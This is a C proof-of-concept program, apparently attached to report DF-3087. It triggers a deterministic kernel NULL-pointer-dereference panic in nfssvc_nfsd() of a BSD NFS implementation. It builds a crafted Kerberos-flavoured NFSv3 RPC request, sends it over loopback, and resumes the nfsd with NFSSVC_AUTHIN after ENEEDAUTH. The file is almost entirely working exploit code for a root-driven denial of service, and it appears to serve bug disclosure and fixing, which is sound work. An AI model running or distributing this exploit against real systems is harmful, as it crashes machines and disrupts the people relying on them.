DF-3087 / kerbd.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-3087 PoC -- root-driven trigger of the ENEEDAUTH/AUTHIN resume * NULL-deref in nfssvc_nfsd() (sys/vfs/nfs/nfs_syscalls.c:671). * * Flow: * 1. fork sender child: connect, send one AUTH_KERB/FULLNAME NFSv3 * GETATTR request, keep connection open. * 2. parent: accept, nfssvc(NFSSVC_ADDSOCK). * 3. parent: nfssvc(NFSSVC_NFSD, &nsd) with pre-allocated auth/verf * buffers -> kernel nfs_getreq() takes the KERB FULLNAME path, sets * NFSD_NEEDAUTH -> kernel copyout()s the ticket to our buffers and * returns ENEEDAUTH with NFSD_REQINPROG still set and the request * held in nfsd->nfsd_nd. * 4. parent immediately calls nfssvc(NFSSVC_AUTHIN|NFSSVC_NFSD, &nsd) * -- exactly what the (kerb-enabled) nfsd userland protocol demands. * nfssvc_nfsd() re-enters with local nd == NULL while NFSD_REQINPROG * is set; nothing reloads nfsd->nfsd_nd; the do-loop evaluates * `nd->nd_procnum == NFSPROC_WRITE` at nfs_syscalls.c:671 with * writes_todo == 0 -> deterministic NULL-deref panic. * * build: cc -O -o kerbd kerbd.c * usage: ./kerbd <port> */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ucred.h> #include <sys/mount.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <vfs/nfs/rpcv2.h> #include <vfs/nfs/nfsproto.h> #include <vfs/nfs/nfs.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int nfssvc(int flag, void *argp); static unsigned int req_words[19] = { 0x11223344, /* w0 xid */ 0, /* w1 rpc_call */ 2, /* w2 rpc_vers */ 100003, /* w3 nfs_prog */ 3, /* w4 NFSv3 */ 1, /* w5 proc = GETATTR */ 4, /* w6 cred flavor = KERB4 */ 20, /* w7 cred len */ 0, /* w8 AKN = FULLNAME */ 8, /* w9 ticklen = 8 */ 0xa1a1a1a1, /* w10 ticket */ 0xb2b2b2b2, /* w11 ticket */ 0xc3c3c3c3, /* w12 ticket */ 4, /* w13 verf flavor = KERB4 */ 16, /* w14 verf len */ 0, /* w15 AKN = FULLNAME */ 0xdeadbe0, /* w16 key */ 0xdeadbe1, /* w17 key */ 0xdeadbe2, /* w18 key */ }; int main(int argc, char **argv) { int port, lfd, fd, on = 1, i, rv; struct sockaddr_in in, peer; struct nfsd_args na; socklen_t len; struct nfsd_srvargs nsd; unsigned int pkt[20]; if (argc != 2) { fprintf(stderr, "usage: %s <port>\n", argv[0]); exit(2); } port = atoi(argv[1]); /* sender child */ if (fork() == 0) { sleep(1); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&in, 0, sizeof(in)); in.sin_family = AF_INET; in.sin_addr.s_addr = htonl(INADDR_LOOPBACK); in.sin_port = htons(port); if (connect(fd, (struct sockaddr *)&in, sizeof(in)) < 0) _exit(1); pkt[0] = htonl(0x80000000 | (19 * 4)); /* record mark */ for (i = 0; i < 19; i++) pkt[i + 1] = htonl(req_words[i]); write(fd, pkt, sizeof(pkt)); fprintf(stderr, "kerbd: sender wrote %zu byte request, holding conn open\n", sizeof(pkt)); for (;;) sleep(60); } signal(SIGCHLD, SIG_IGN); lfd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); memset(&in, 0, sizeof(in)); in.sin_family = AF_INET; in.sin_addr.s_addr = htonl(INADDR_LOOPBACK); in.sin_port = htons(port); if (bind(lfd, (struct sockaddr *)&in, sizeof(in)) < 0 || listen(lfd, 4) < 0) { perror("bind/listen"); exit(1); } len = sizeof(peer); fd = accept(lfd, (struct sockaddr *)&peer, &len); if (fd < 0) { perror("accept"); exit(1); } na.sock = fd; na.name = (caddr_t)&peer; na.namelen = len; if (nfssvc(NFSSVC_ADDSOCK, &na) < 0) { perror("nfssvc ADDSOCK"); exit(1); } close(fd); fprintf(stderr, "kerbd: socket added, becoming nfsd with auth buffers\n"); /* nfsd with KERB auth-out buffers ready (protocol requirement) */ memset(&nsd, 0, sizeof(nsd)); nsd.nsd_nfsd = NULL; nsd.nsd_authstr = malloc(4096); nsd.nsd_verfstr = malloc(4096); nsd.nsd_authlen = 4096; nsd.nsd_verflen = 4096; rv = nfssvc(NFSSVC_NFSD, &nsd); fprintf(stderr, "kerbd: nfssvc(NFSD) returned %d errno=%d (%s)\n", rv, errno, strerror(errno)); if (rv == 0 && errno != ENEEDAUTH && errno != 0) { /* libc returns -1; handle both shapes */ } if (errno != ENEEDAUTH) { fprintf(stderr, "kerbd: expected ENEEDAUTH, got %s -- aborting\n", strerror(errno)); exit(1); } fprintf(stderr, "kerbd: ENEEDAUTH ok (nfsd=%p), resuming with NFSSVC_AUTHIN\n", nsd.nsd_nfsd); fflush(stderr); /* the fatal resume */ rv = nfssvc(NFSSVC_AUTHIN | NFSSVC_NFSD, &nsd); fprintf(stderr, "kerbd: nfssvc(AUTHIN|NFSD) returned %d errno=%d (%s) -- NO PANIC\n", rv, errno, strerror(errno)); return (0); } |